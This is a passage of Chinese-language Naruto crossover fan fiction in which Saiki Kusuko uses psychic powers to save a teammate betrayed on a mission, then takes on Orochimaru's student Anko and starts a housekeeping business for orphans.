他和卡卡西其实没合作过多少次,翠不擅长水上战斗。 齐木楠子只是初级医疗忍者,此刻尚且昏迷不醒。 原本这次任务十分简单,只需搜集贪污官员的罪证,查清对方的接头人员。 谁也未曾料到,如今他竟然要在此断送性命? 即便身陷绝境,可奈良鹿行仍想为木叶留下情报。 他勉强扯出一抹惨淡的笑意:“翠,你说的是什么任务?” 野野村翠嘴角勾起一抹凉薄的弧度,“鹿行啊,到现在,还在想着为木叶卖命吗?” 奈良鹿行心头一沉,语气已经带上了虚弱,“什么、叫做… …为木叶卖命?” 野野村翠低声冷笑,语气里满是讥讽:“我就是讨厌你们这些大家族的忍者。平日里摆出一副心系木叶的模样,说到底不过是为了家族利益蝇营狗苟。 “你们霸占绝大多数资源,享受最优的教育条件,理所应当要付出。可那些被舍弃在战场上的炮灰忍者,还有我这样出身平民的忍者,从来都不在你们的考量之中,不是吗?” “你在、说什么……” 奈良鹿行的笑容彻底沦为苦笑。 翠的手臂精准刺穿要害,内脏被重伤。 此刻他还能保持清醒、开口对话,不过是因为对方的手尚未抽离身体,血液还没彻底流失。 野野村翠轻哼一声:“若是你真的在意过我,就该早早发现我的异常。就连齐木楠子,都察觉到了不对劲。” “什么……异常……?” 一路行来,奈良鹿行真的没有察觉。 他无比信任眼前的同伴,两人同班毕业,即便未曾长期同属一支小队,也多次并肩协作,就连中忍考试都配合默契。 他实在想不通,为何昔日好友会骤然反目。 昏沉感不断侵蚀大脑,奈良鹿行依旧死死盯着野野村翠。 他必须拖住对方,不能让他将注意力转移到昏迷的楠子身上。 若是翠决意叛杀,楠子必定会被灭口,还有海上的卡卡西…… 【快一点,卡卡西,快点过来……】 “你在盼着卡卡西赶来?” 野野村翠一眼看穿他的心思,语气冰冷,“我不妨告诉你,就算他来了,你们的结局也只会是死亡。” 奈良鹿行的心脏几乎骤然骤停。 可就在这一刻,野野村翠的身后,忽然传来一道清冷平淡的女声。 “这倒不见得。依我看,你的实力,比起旗木卡卡西还差得很远。” 野野村翠眉头骤然紧绷,没有回头,只用余光警惕地扫视身后。 原本倒在地上昏迷不醒的齐木楠子,已然笔直站在那里。 她的衣衫干净无一丝水汽,周身气质淡然平静。 可那淡漠的眉眼深处,却藏着一丝清晰的恼怒。 莫名的压迫感涌上心头,野野村翠心底生出一丝不安。 “呵,齐木楠子,你倒是醒了。可惜,已经太迟了。” 野野村翠不再留手,猛地将手从奈良鹿行的胸膛抽出。 暗红的血拉扯出扭曲的弧线,滴落进雨水冲刷的泥土之中。 奈良鹿行身体骤然瘫倒,口鼻溢出鲜血,微弱的气息断断续续,嘴唇翕动,声音却被雨水淹没:“楠子……快走……” 他这样说着,野野村翠却骤然惊恐地发现,自己全身僵硬,丝毫无法动弹。 他只能眼睁睁看着齐木楠子一步步走近,最后停在奈良鹿行的身侧,半跪于地。 “鹿行前辈,没事的,我是医疗忍者,你会活下来的。” 【怎么可能活下去?】 野野村翠心知肚明,他亲手摧毁了对方的内脏,失血严重,伤势早已回天乏术。 可他无法动弹,连口舌都不听使唤,只能僵硬地歪着头,费力看向倒地的少年。 这种力量,甚至让他联想起一个人…… 【不,不……呼。】他试着深呼吸,排除大脑的杂念,觑着齐木楠子的侧脸,辨认着她究竟在想些什么。 雨水越下越大,如同银盆倾泻,除了风声、浪声、雨声,这里没有其他的杂音。 唯有被困住的叛忍、救人的少女、濒死的少年,等候着最后的结局。 42.归乡 齐木楠子安静注视着身前奄奄一息的少年。 她必须强迫自己保持冷静。 不然要怎么办呢?情绪失控,导致超能力暴走,最后将这个地方在忍界地图上除名吗? 可是,心底的懊丧是真的,胸中的恼怒也是真的。 身为搞笑漫画的主人公,她实在无法理解野野村翠的选择。 既然计划已然失败,为什么不继续潜伏伪装,反而执意暴起伤人呢? 啊……是她疏忽了。 她忘记了人心从来都变幻莫测,不会一成不变。 在这个并非搞笑漫画的世界,别说互相欺骗了,他们甚至可以自己骗过自己。 野野村翠是不是就是这样瞒过了她呢? ‘呵……连心灵感应都不再万能,我就说我不是神了啊。’ 心中自嘲,可楠子更因自己的疏忽而难受。 她明明已经在不同的时间线吃过很多次亏了,但是带给她那样的感受的,通常都是志村团藏或者猿飞日斩那一级的忍者。 哦,不过最多的还是旗木朔茂。 所以她从未想过一个仅仅大她几岁的忍者能够做到如此地步。 而且,不过是区区几年的安稳,她早已生疏。 生疏于鲜血,生疏于直白又残酷的死亡。 这些道理,她本应牢牢铭记啊。 旗木朔茂数次的死亡邀约,那位雾隐村忍者队友被残杀,根组织以往的行动,都曾给她敲响警钟。 可安稳几年没有目击鲜血,就以为一切都在变好,她渐渐淡忘残酷,结果这次任务就败得一塌糊涂。 卡卡西险些殒命大海,奈良鹿行也濒临死亡。 是啊,以她的能力,可以轻松化解一切危机,可这狼狈的过程,如同往常的每一次一样,让她打从心底里觉得难过。 ‘看吧,泉奈大叔,我离无所不能的神明还差得远呢。而现在这个结果,再比对我的能力,我可真算得上是无能且无为了。’ 她的睫毛颤了颤,面上却静如平湖,脚步平缓地向前踏出一步,而后缓缓蹲下身。 纤细的手指上没有沾染一丝雨水,甚至不像是个忍者,可落在奈良鹿行血淋淋的伤口处,却有光芒一点一点亮起,而后展露出绝不符合任何医疗忍术原理的变化。 破碎的内脏在超能力的作用下逆流复原,碎片一点点合拢、贴合,恢复成原本完整的模样。 紧接着是断裂的骨骼、撕裂的肌肉、破损的皮肤、甚至是迸溅出来,又融于雨水,而后再也找不见了的鲜血。 还有那件破碎的中忍背心。 【如果说医疗忍术能够让人体快速恢复,那么那个用高级布料做的忍者背心是怎么回事?怎么它也能自己生长吗?!】 她能清晰捕捉到野野村翠震惊的神情与慌乱的心声,在叫喊着这是什么忍术,她怎么可能在这种情况下救下奈良鹿行,那背心又是怎么回事。 可无论如何,她都不可能放任奈良鹿行死去。 若是少了这个人,往后还有谁会厚着脸皮,带着她到处蹭比赛奖金呢? 此时此刻,已经完全恢复的奈良鹿行无意识地蹙着眉,呼呼大睡。 听着他轻微的鼾声,楠子又深深望了他一眼。 ‘这样……可顺眼多了。’ 她动了动手指,又清除了他脑海里被刺穿胸膛的濒死记忆。 可是这种记忆裁剪也是有副作用的,那就是不知道会填充什么记忆进去。 当然,比起鹿行死亡,这点小麻烦又算得了什么呢? 依旧有些忧虑的楠子木着脸,将目光投向一旁被定住的野野村翠。 他发色普通,瞳色普通,连面容都显得普通。 但是偏偏就是这样一个普通人,差点导致了任务全灭。 那一双眼眸此刻盛满了压不住的惊恐,心声里却全是阴谋和算计。 她蹙了蹙眉,几乎感受到了某种熟悉感。 ‘……不会吧?’ 楠子再次检视对方的骨骼,确认骨龄没有异常。 那就只能是忍界人才辈出了? 她在心中咋舌,再一次明白自己的“平庸”。 如果她没有这样强大的超能力,恐怕会被忍界的这些天才少年甩到尾气都看不见吧? 那么,她可真得庆幸她齐木楠子是世界最强这件事。 既然能力已经被对方看穿,对方又是这样的人才,那么处理办法就只有一种了——将他“流放”至雨隐村。 至于杀死对方的选项,则被楠子抛诸脑后。 不是她不想杀伐果断,而是这选择太过危险。 如果事事都一杀了之,她干嘛要那么麻烦,为什么不直接扭转这个世界上所有人的思维,按自己的想法制定规则,重现她所喜欢的现代社会呢? 反正又不是做不到。 可是,她还是不想落到那样的境地。 她现在已经很孤独了,但是纯粹的孤身一人,可绝对不是好事。 ‘我已经很小心地使用自己的超能力了,为什么要逼我啊混蛋。——呵呵呵,我可不想说出这样的台词啊。’ 她抬手准备动手,野野村翠杂乱的心声却骤然一顿。 【海次郎!】他在心底惊声尖叫,楠子眉头一动,对方喊叫起来: “攻击!” ‘嗯?’楠子不由得向着海面的方向看去,下一秒就暗叫“糟糕”。 趁着这转瞬即逝的破绽,野野村翠如同金蝉脱壳,身体化作一片黑影,直接沉入地面。 ‘土遁?’ 楠子皱起眉头,意念扫过整座岛屿。 可野野村翠如同凭空消失,要么隐匿了自身气息,要么就让自己的大脑陷入了空濛。 ‘啧……所以我就说,超能力不是全能的啊。’ 她当然可以把整个岛压成一个球,这样,就算野野村翠是只蟑螂,也该死的不能再死了。 可那没必要。 方才“扫描”时,她留意到了四散逃窜的船工。 那些人惊慌奔入密林之中,恐怕用不了多久,就会惊动林中野兽。 她这个搞笑漫画的女主角总不能抛下那些人不管。 楠子只能自我宽慰道:‘就算野野村翠说出真相,也未必有人相信吧。哎……好想回去。’ 她仰起头,轻叹一声,砸落的雨水如水晶一般悬停半空,岛上所有生物如同陷入沉睡,纷纷软倒在地。 无形的超能力丝线牵引着众人,将所有人聚集在奈良鹿行身旁。 泥泞的沙地迅速固化成平整的地砖,随即沙土裹挟着泥水翻涌而起,形成椭圆形的壳,将所有人罩在里面。 圆壳的上方凭空燃起火焰,众人衣服上和发丝间的水珠像是躲避着什么一样,蒸发消散了。 楠子最后看了一眼海面上那艘被她固定在原地的大船,坐回了地板之上,神色淡然。 ‘好了,接下来,只需编造一段合理的说辞。’ 她心里想着,外间的雨哗啦一声重重砸落,天地之间再次响起了动物的惊叫声。 ----------------- “所以昨天,野野村翠突然袭击你,而后楠子醒来将他吓跑了?” 有些破败的大船上,旗木卡卡西按着发胀的脑袋,语气茫然。 “是啊。”奈良鹿行也有些恍惚。 他脑海里残留着怪异的幻象,野野村翠甩着衣服下摆,跳着草裙舞,凑近后冷不丁梆梆就是两拳。 可他脸颊毫无痛感,唯有胸口残留着一抹挥之不去的心悸。 卡卡西蹙起眉头,看向心神不属的奈良鹿行,沉声追问:“那么,你昏迷之后,是楠子重新找到了那些船工,还使用了土遁?” “没错。”奈良鹿行神色端正几分,认真答道,“至少所有船工都是这么说的。” 卡卡西转头望向船舱,齐木楠子说要更换衣物,就钻了进去。 寻常土遁根本无法维持一夜,可船工说,楠子建造的土屋直至清晨依旧稳固。 直到众人全部走出房屋,那座土建筑才塌了下来。 这种技巧和能力,连现十三岁的他都难以做到。 卡卡西心底涌出一丝欣慰,在大蛇丸大人的教导下,楠子的实力,确实在稳步长进。 昨日虚幻朦胧的画面涌上脑海,他清楚记得,是楠子从海中救下了自己。 可依照奈良鹿行所言,楠子不可能同时出现在两处地方。 【到底是怎么回事?】卡卡西心中纠结,可下一个瞬间自己就理了清楚——楠子掌握了影分身,或者更高一阶的秘术。 因为这是大蛇丸大人偷偷教的,所以她也没有暴露。 通了,一切都通了。 没过多久,换好干净衣物的楠子披散长发,缓步走向两人。 “我们该返航了。” “什么?”卡卡西微微一怔,和奈良鹿行一起看向了递到他们面前的卷轴。 楠子神色平淡,“这是鲁芳的认罪书,任务结束了,快点回去吧。” 是的,楠子不想做任务,楠子只想回木叶。 热血漫画的难度和搞笑漫画的难度完全不一致啊。 她还不如去《名侦探柯○》,至少那样,她还能依靠自己的心灵感应,在到达案发现场的第一秒,就帅气地比出一个手势,说“真相只有一个呢!” 所以,她直接开了作弊器,催眠了鲁芳,让他自己写下了认罪书。 至于她为什么得知了卡卡西和鹿行隐瞒的真实任务…… “你们以为我的师父是谁?他怎么会不提前告知我详情?”她语气淡然,心里却在想:‘呀嘞呀嘞,其实正相反,我的师父确实就是想看我的笑话,什么都没告诉我。不过,你们这样想就很好。’ 聪明人某种意义上,反而很好糊弄,因为他们会自己脑补。 楠子歪嘴微笑,但卡卡西与奈良鹿行果然并未多想。 在他们眼里,大蛇丸心思缜密,绝不会置弟子于险境。 而身为大蛇丸弟子的楠子,必然藏有保命秘术,只是不便展示而已。 两人默契地不再深究昨夜的异常。 卡卡西心底疑虑尽消,轻松的心情占了上风,转头看向船长,唇角轻扬。 “船长,我们可以启程返航了。” “当然没问题!”船长爽朗应下。 碧海晴空之下,那艘满身破损的船只如同落叶归乡,朝着木叶缓缓前行。 43.提示 夜半时分,旗木宅邸。 卡卡西结束了任务汇报,一眼就看见自家大宅黑漆漆,一点灯火都无。 ‘大家都休息了啊。’这也是没办法的事情,因为就算是他也没预料到,这次的任务会这样快结束。 ‘家里的冰箱应该还有东西吧?’他想着,一个瞬身就进入院中,而后轻手轻脚地走入厨房,身体顿时一僵。 有一个黑影正站在自家冰箱前,似乎听到了他的声音,那身影也被吓了一跳。 “是父、父亲吗?”卡卡西询问道,看清对方的身形后就是一阵尴尬。 对面那个人也是一样,有些僵硬地转过头,“哈哈哈,是卡卡西啊?” 野乃宇站在冰箱旁,手里正捧着一个盒子。 “我可不是在偷吃哦!”她正色道,“只是突然想起来之前孤儿院送来的小菜,怕坏了而已。” 卡卡西抿了抿唇,忍住了嘴角的笑意,只是肚子却响了起来。 野乃宇眼睛一亮,“你饿了吧?先去冲个澡,我们煮个面吧!” “呃,可是父亲……” “不用管他,不用管他,你快去!” 被野乃宇推了一把,原本只准备随便热点剩饭的卡卡西只好无奈回到了自己的房间。 现在的旗木家大宅是从爷爷那辈就传下来的古宅,里面不算客房,都至少有四个卧室。 自从野乃宇嫁入之后,他就选择了离两人较远的那一处。 父亲有些抱歉,但是对于卡卡西来说,那或许真是松了口气。 那个时候,他还在想着,楠子是不是有机会一起住在这边,而后天天见面呢。 当然……这期望完全破灭了。 “呼~”从浴室走了出来,擦着自己的头发,他才想走入餐厅,就见到野乃宇在庭院的广缘处朝他招手。 “卡卡西,到这边来。” 他走了过去,看见广缘上放着两碗面,已经有些温热。 野乃宇将其中一碗递给了他,而后自己则捧起了另外一碗。 他迟疑着,还是像野乃宇一样坐在了广缘上开始吃面。 那味道不能说好吃,毕竟他旗木卡卡西就是一个“厨艺大家”。 可那温热的感觉,还是顺着面条的汤汁,润入了身体,烫到了他的心脏。 对于母亲的记忆已经模糊,但是此时此刻,连他也不禁想,如果母亲还在的话,会不会像是野乃宇一样,在这样的夜晚,为自己或者父亲,煮一碗面呢? “唔!满足了。”野乃宇放下了面碗,“一直都在吃外卖,还是自己做的更健康啊。” “外、外卖?”卡卡西惊愕地睁大了眼。 是啦,虽然野乃宇嫁了进来,但是之前是因为怀孕,而后又是照顾出生的美美子,旗木一家,依旧是可怜的旗木卡卡西在做饭,可是……难不成之前他出任务的时候,父亲和野乃宇就是靠外卖活着吗? 那他是什么?是家里的牛马吗? 卡卡西虚下眼,脸颊有些鼓涨起来。 见他这样子,野乃宇反而笑了起来,“被你发现啦!但是这个是没办法的事,按照楠子的说法,你的手艺都可以去竞争‘特级厨师’了,所以我和你的父亲,反而不想做饭了。” ‘楠子吗?’卡卡西一怔,“特级厨师是什么?”楠子吃过特级厨师做的饭? 他正想着,就对上了野乃宇揶揄的目光,不由得面色发红,低声嚷嚷道:“我只是没听说过而已。” “我也没听说过。要知道,我和你父亲不一样,我可是走遍了这忍界的忍者。” 卡卡西端着面碗的手指一顿,看向了野乃宇。 她此刻双手撑在身后,一副心满意足的模样,目光却朝向了月亮,满目都是怀念与沉思,嘴角挑出一抹温柔的笑意。 他回过头,就又想起了楠子在一年前所说的话。 “水门大人,你为什么一直以玖辛奈大人的保护者自居呢?” 她问出了那句话,师父就哑口无言。 之后带土也和玖辛奈说了这件事,但是这位红色头发的女忍者,只是呆然的垂下了脑袋,而后又挂上了笑容。 “别瞎想啦!带土,女人的战场可是很多呢!再说保护什么的。”她捏紧了拳头,“实力上,我可不比水门差太多呀!” “是啊是啊!楠子就是因为不认识玖辛奈前辈你,所以才会这么说吧!那个家伙!”带土很是不满地撇嘴,但是卡卡西看着玖辛奈无奈的笑容,却敏锐地感觉到了哪里有问题。 “野乃宇阿姨,也会怀念从前吗?”他冷不丁问。 “啊,没什么,我是说……”他顿了顿,终究将一年前发生的那件事说了出来。 野乃宇听着,脸上的神色由惊讶变作沉默,继而忽然觉得好笑。 “等等,野乃宇阿姨,若是想笑就笑吧。”卡卡西的肩膀像是没了力道一般垂了下来,而野乃宇就真的压抑着笑声,笑得不可抑制。 “哈哈哈,没什么,卡卡西,这很正常。”野乃宇捂着笑疼了的肚子,半晌才露出了有些感慨的神色,“我觉得啊,卡卡西,你们……还真是过的太平顺了。” ‘平顺?’卡卡西万万没想到野乃宇对于这件事的评价居然是这样,就见野乃宇推了推那副平光眼镜,露出了反派人物一般的神色。 “卡卡西,你知道我在外间的称号是什么吗?” “是……‘行走的巫女’?” “是,”野乃宇微一点头,“但和你的父亲,你的师父,乃至那位玖辛奈都不一样,我承担的,其实是间谍的工作。还记得烟花大会之前吗?那个时候,我本打算隐瞒腹中孩子,悄悄离开木叶。” 卡卡西当然记得这件事情,那个时候,楠子还叫他“哥哥”呢。 他的死鱼眼越发严重,就听见野乃宇说:“那可不是因为自卑,或者其他什么。” 野乃宇压低了声音,“那其实……是因为我不想为我自己轻率的举动负责啊。” ‘不想……负责?’卡卡西今夜不知道第多少次睁大了眼睛,想要反驳说自己的父亲,多金又帅气,实力高强,除了迟钝了一点,再没什么不好的了。 可是野乃宇却像是看出了他的疑惑,眼睛里闪动出狡黠的光。 她的声音变得柔和而低沉,让卡卡西也不由得伸长了耳朵去听:“你父亲是很帅,实力高强,但是那对一个女人来说,都不是最重要的,最重要的,反而是…… “信任和爱。” ‘信任和爱?’卡卡西有些恍惚,可下一秒野乃宇的嘴角就高高扬起。 “可那都 是骗人的啊。” 他气息微滞,就听见野乃宇如同鼓点一般急速的声音,“信任会消失,爱也会变质,所以最重要的还是提升自己。 “最开始,我以为楠子天性散漫,很难成为一名合格优秀的忍者。 “所以我一直希望,她能找到可靠的归宿。因此我也曾十分乐见你和楠子相伴相守。别这样看我,身为孤儿院的院长,为孩子们考虑未来的道路,也是很重要的事,楠子现在就在这样做。 “但是……” 她的笑容愈发柔和,歉意也愈发浓重。 “卡卡西,不合适的时机、不成熟的彼此,永远换不来完美的结局。 “就像,你的父亲如果没有经历过一次婚姻,或者我再年轻几岁,又或者楠子没有出现,我啊……可是绝对会甩掉你的父亲的哦。 “这啊……和你的父亲是个怎样的人无关,而是因为做出这个决定的我,不是男人,也不是女人,只是一个简简单单而又自私的人,仅此而已。” 卡卡西,愣在了原地。 ----------------- 次日,根组织基地一切如常。 深灰色的长廊终年不见日光,即便有着灯光,也显得昏暗压抑。 齐木楠子行走在走廊里,鼻尖就能闻到那股阴冷潮湿的腐败之气。 早在踏入之初,她就展开心灵感应,将探测范围覆盖整座高塔,随意探查周遭动静。 可塔内无非是正在激烈战斗的年轻忍者(训练)、正在进行黑暗系实验研究的研究员(倒也没有低劣到踩到她的道德底线),以及一堆被大蛇丸在心底吐槽为“废物”“懒鬼”和“智障”的大小忍者们。 什么异常都没有啊。 这大概就是她在近期放松警惕的原因。 连木叶最藏污纳垢的根组织,都已经在宇智波斑的威胁之下,收敛了许多,那么应该就没什么问题了吧? 她原本就是这样想的,可事实告诉她——“错错错!” ‘呀嘞呀嘞,果然,我必须要更加谨慎了。’ 楠子想着,纵然已经确定了大蛇丸的位置,却挡住了一位前辈。 “前辈,请问你知道大蛇丸大人在哪里吗?” “是楠子啊,任务结束回来了?大蛇丸大人就在……”前辈温和开口。 楠子致谢后,径直走向了大蛇丸的专属实验室。 “大蛇丸大人。” “是楠子啊,你回来了。”大蛇丸神色平淡,正低头翻看手中的研究报告,没有多余的神情起伏,没过多久,他轻甩手中的纸质文件,抬眸看向来人,嘴角就带上了笑意,“这次任务完成了?” “完成了。” “完成就好。”大蛇丸随口应下,目光再度落回纸面。 那纸上绘制着精巧的机械构造,楠子扫了一眼,便失去了兴趣,心中却多了几分迟疑。 “大蛇丸大人,您难道不问问任务的具体情况吗?” 大蛇丸抬眸,唇边勾起一抹淡笑,“这只不过是个C级任务,我相信你。” 楠子眯起了眼睛,因为此刻大蛇丸正如同往常一样,在心底嘲笑她啊! 【不过是个C级任务,我们自视甚高的楠子不会失败了吧?不会吧不会吧?哈哈哈哈!】 44.红豆 哎呀呀,明明是制裁贪官这样的任务,却因为原本以为没有忍者介入而被轻描淡写地归为C级呢。 抱着要吓大蛇丸一跳的心情,楠子淡然开口,“任务途中,队伍里出现了叛忍。” 大蛇丸神色微变,认真打量着楠子。 【很好,很有精神,一点儿负伤的样子也没有。还能在我面前装作无事呢,真是一点都不可爱啊。】 ‘抱歉,我根本不需要变得可爱。’ 楠子眼中,大蛇丸见她没受伤,嘴角随即弯起,如同智珠在握。 “楠子,详细讲一讲这次任务的经过。” “是。” 半小时后,大蛇丸指尖轻点桌面,若有所思道:“如今世道混乱,出现叛忍也是寻常。只是没想到,我随手挑的一个任务,就会让你撞上这样的情况。” ‘骗人。’楠子在心底暗自吐槽。 从看到卡卡西与奈良鹿行的那一刻,她就明白,这个任务绝对是大蛇丸特意安排。 只是不明白野野村翠又是怎么加入这个任务的而已。 她挑了挑眉,询问:“大蛇丸大人,请问您知道野野村翠的事吗?” “我也不是什么下忍都认识的。”大蛇丸轻咳一声,像是随口敷衍。 只是他的心音倒是很诚实:【还以为是个普通走后门的忍者,没想到却是针对这次任务来的呀,大意了。】 他脑海里这样想,嘴上转移话题道:“对了,你刚才提到的海蛇,我略有印象。人类海域之中,本就栖息着这类大型海生生物。” 楠子不置可否,她早就知道这些。 可没等她开口,大蛇丸忽然放缓神色,轻声询问: “楠子,你怕蛇吗?” ‘当然不怕。’楠子心中笃定。 若是怕蛇,她当初便不会选择拜大蛇丸为师。 她还记得大蛇丸那头紫色的巨型通灵兽,身形庞大,面相凶恶,一口毒牙都比得上一个成年人的高度了。 楠子早已研究过通灵术原理,那就是依靠通灵术和能量撕开时空壁垒,将异空间的通灵兽召唤至此。 以她的能力,做到这一点轻而易举,别说召唤普通的蛇,捏造一个威风凛凛的“八岐大蛇”,她都不带虚的。 ‘难道大蛇丸,打算让我签订通灵契约?’ 楠子心中暗自揣测。 她是不觉得蛇有什么好啦,但这可是坐骑啊!是高贵的坐骑!有了通灵兽,她就不需要用双腿走路了! 她心中期待,坦然应声:“我不怕。” 大蛇丸闻言轻轻点头,唇角噙着一抹笑意,转头重新看向图纸。 ‘嗯?这不是在耍我吗?’楠子眉心微蹙。 果不其然,她听见了大蛇丸直白的心声。 【哈哈,傻了吧。我才不会这么轻易把通灵术交给你。】 楠子面色微沉,瞬间明白对方的心思。 这就像是在她面前悬挂一根胡萝卜,刻意勾弄、试探。 她可不会轻易上钩,平静开口:“大蛇丸大人,若是没有别的吩咐,我就先行退下了。” “等一下。”大蛇丸站起身来,冲着门的另外一边说道,“进来吧,红豆。” 楠子循声望去,只见一个颇为可爱的小女孩笑意盈盈地走了进来。 “这是御手洗红豆,是我曾经战友的遗孤。已经成为下忍一年了,现在正是需要长进的时候。” 大蛇丸介绍着,金色的眼瞳看向楠子,嘴角的笑意越发深刻,“楠子,我就把她……暂时交给你教导了。” “我?”楠子蹙紧了眉头,“我自己都……” 【就让楠子看看真正的天才是什么样的吧,呵,这样也是一种相互促进。而且,这可是御手洗和果子的公主呢,必须要确保根组织的资金才行。】 御手洗和果子?!是那个在甜点界里十分出名的御手洗集团吗?! 这是金主! 她的嘴角立马扯出一抹浅淡的笑,“红豆是吗?从今天开始,你就和我一同研究吧。我的名字是,齐木楠子。” 她伸出了手,对方却撇了撇嘴,看向了大蛇丸,撒娇道:“大蛇丸大人,我不能和您一起学习吗?” “不行哦。”大蛇丸温柔笑着,低下头,那黑色发丝垂落的模样确实有几分大和抚子的风范,“楠子虽然比你还晚成为下忍,但是,她在研究的方面可十分优秀呢。” 【就这样,竞争起来啊。】 ‘呀嘞呀嘞,到底谁要为竞争你的好感度掉节操啊!’ 当然是御手洗集团大小姐的好感度更重要! 楠子笑容微敛,而后绽放了更灿烂的笑容,“红豆小姐,我也是才听闻大蛇丸大人的吩咐,今天您是才来吧?大蛇丸大人那里可有许多精彩的忍者故事哦,不如您先和大蛇丸大人聊聊吧?那么我们明天再见。” 告别,鞠躬,一气呵成。 “呃……”大蛇丸有些诧异地看着楠子,伸手欲阻止,可楠子已经连门都关上了。 ----------------- ‘啊……反正大蛇丸也不是恋童癖,应该没关系的。’ 想是这样想,楠子还是分出一两分心神观察着大蛇丸和红豆之间的互动,准备一旦出现什么不妥,就冲进去人赃并获。 那可是御手洗甜点的千金,如果和对方交好的话,那么孤儿院那些没有天分的孤儿,是不是就能获得更多的工作机会了? 楠子想着,几乎想要用心灵感应去探一探红豆和御手洗集团之间的关系。 可她还是按捺住了那股想要“开作弊器”的冲动,转而又去思考野野村翠的事。 大蛇丸大人,是真的不知道那个人的情况吗?海蛇……也是蛇吧? 回到自己的实验室,她迟疑片刻,看向一旁的一白。 “一白前辈,大蛇丸大人最近都没有外出执行任务吗?” “没有,听说他的研究正处在紧要关头。”一白如实回答。 “是吗?”楠子若有所思。 方才大蛇丸散漫轻松的模样,可丝毫看不出紧迫之感。 她轻轻蹙起眉头,翻开手边的实验日志。 笔尖落下,一行字迹快速浮现:世界最强·齐木楠子成长计划。 她在下方写出数个项目:忍术、常识、体术、谋略……七八项类目整齐排布,如同游戏属性面板。 这样被人看到,也只会以为她中二病发作而已。 “楠子,你在画什么?又在准备编写教材吗?”一白好奇探头。 现今,木叶的所有小学,包括孤儿院,都用上了楠子怂恿一白编写的教材。 连木叶如今的盟友雨隐村都出资购买了初级的版本呢。 “并不是,只是临时生出一点想法。”楠子说着,鼻尖动了动,目光落在一白略显脏污的衣襟上。 啊啊啊,这些男忍者是怎么回事,就不能和那些可爱又可亲的女忍者一样,成为香香软软的小蛋糕吗? “一白前辈,你又没空洗衣服吗?穿过一次的袜子堆放十天再穿,可不讨人喜欢。明明有洗衣机这种便捷工具啊。”快给我去买我给雨隐村“发明”的电器啊! 楠子心中呐喊,语气平淡。 被这样年 纪小又可爱的后辈嫌弃,一白面露局促,“没办法,眼下的研究实在太重要了。” 楠子笔尖微停,“前辈,你没有找人打理起居吗?” 就算是旗木家,也有找人每周固定来打扫呢。 一白笑呵呵地摇头,“那是大家族忍者才能享受的待遇,我这点工资可没办法。” “哦……”楠子思索片刻,眼底闪过一丝光,“不如,一白前辈把家里的杂务承包给我?” “什么?”一白完全不明白。 楠子将“成长计划”翻过,在崭新的一页落笔书写——孤儿院拯救计划。 “我也要为自己谋划呢,不能再把精力放在杂事之中了。” 一白依旧一头雾水,半晌,干脆转过了头。 ‘罢了罢了。反正楠子,从来都有自己的主意。’ ----------------- 楠子当然有主意,不但有主意,行动起来还迅捷无比。 “红豆学妹,我知道你是大家族的忍者,不知道能不能拜托你帮我请一些人来教导孤儿院的孤儿呢?……啊,当然不是忍术方面的事,而是打扫、清洁之类的。有问题吗?……哎呀,真是的,那我这里这套大蛇丸大人亲笔签名的图书就……” “我、我可以!”红豆握紧了拳头,小脸通红,“不就是找人吗?我家的佣人就可以!” 楠子嘴角带笑,将自己手中大蛇丸签名的初版教材送给了红豆。 她就说呀,她怎么可能搞不定小女孩。 纵然红豆已经是下忍,但只要她有想要的东西,她齐木楠子就能“攻略”! 而另外一边,她已经联络了已经离开孤儿院,却又没有好工作的几个人,让他们负责管理孤儿院的孩子们。 无论是有天赋的,还是没天赋的,都得分出时间来给她打工! 不是楠子冷漠,而是在这个世界,无论是忍者,还是平民,没有一技之长,都是活不下来的。 至于按照天赋来区分,她这里又不是根组织,不需要末位淘汰制来给大家分出不同阶级。 就这样,“感恩木叶家政社”就初步成立了。 “大蛇丸大人,考虑到您常年将自己的精力奉献给木叶的和平与发展这一伟大事业上,感恩木叶家政社决定倾情回馈您的付出,赠送给您一年的家政服务!您觉得如何呢?” 楠子微笑说,而后就听见了大蛇丸的心音。 【哎呦呦,这话还是红豆说比较可爱吧,楠子说的话,就只有讨厌了啊。】 ‘呀嘞呀嘞,我额角的十字真的是藏都藏不住啊!’齐木楠子头颅微低,没想到自己摒弃了羞耻心,居然只换来这样的结果。 “楠子,我已经听说你在做什么了。”大蛇丸摇头微笑,“但是,你已经把架子搭起来,再将精力投入进去,可会阻碍你的进步的哦。” 楠子笑容微敛,抬头看向了大蛇丸,“大蛇丸大人,我最近又学会了几个B级忍术了。” 开玩笑,以她对火焰的操纵,使出火遁不是手到擒来? 比伪装替身术和分身术都方便呢! 她正想着,就见大蛇丸再次递来一个卷轴。 抬眼望去,对面名义上的师父就露出了一个可恶的笑容。 “听闻,雨隐村有人很擅长研究机械,木叶希望能够有所了解,需要研究人员前往,所以,我派了你,你……不会没有时间吧?唔,这样想想看的话,我就好像确实需要人来帮忙打扫呢。” 已经透视到其中波风水门的名字,楠子僵着嘴角,牙都要咬掉了。 “当然……有时间的啊。” 45.路遇 木叶大门处。 “所以说,我们这次的任务,就是带着研究人员前往雨隐村进行考察,是吗?” 旗木卡卡西抄着手,若有所思。 身旁的宇智波带土却哈哈大笑起来,“哈哈,楠子也是研究人员,这次来的该不会是她吧?” 他一边说,一边还用那双乌溜溜的眼睛偷偷瞟向卡卡西,眉眼间满是戏谑。 卡卡西看了他一眼,就不满地皱起眉,“拜托,这可是任务,你可不要把事情搞砸了。” “怎么会?”带土拍着胸脯保证道,“这次我绝对会好好完成任务的!我可已经是中忍了,中忍!” “这都已经一个多月了,你怎么还在提这件事。”卡卡西无奈地翻起了白眼,带土果然又开始吵嚷。 波风水门看着两人斗嘴的模样,无奈地笑了一笑,随即收敛神色。 “对了,因为琳不在。这一次任务,我们要暂时和其他医疗忍者合作。” “医疗忍者?”带土眼睛一亮,眼神越发揶揄,“可惜楠子的医疗忍术完全不够格,不然可能性不是更大了吗?嘿嘿嘿!” 卡卡西略有些无语,他猜想楠子的实力绝对不只是普通下忍的水平,但是这是在之前任务之中发生的事,他自然不能随便说出来,只能看着带土作死。 是的,作死。 “我的医疗忍术不够格,还真是不好意思啊。” 带土猛地扭头,几乎要扭断脖颈,看清来人,他脸上瞬间绽开夸张的笑容,快步朝着对方跑去。 “楠子,怎么会是你?哎呀,我听说你只是个下忍,对我这种中忍来说,你就是个新手啊。” 他说着,还要比出大拇指,指一指自己那墨绿色的中忍背心。 “是啊。”齐木楠子语气平淡,目光落在带土身上。 ‘到现在,还没从成为中忍的兴奋中解脱吗?这也太孩子气了。’ 虽然心里这样想,她的嘴角也在带土的欢脱之下漾出了一抹微笑。 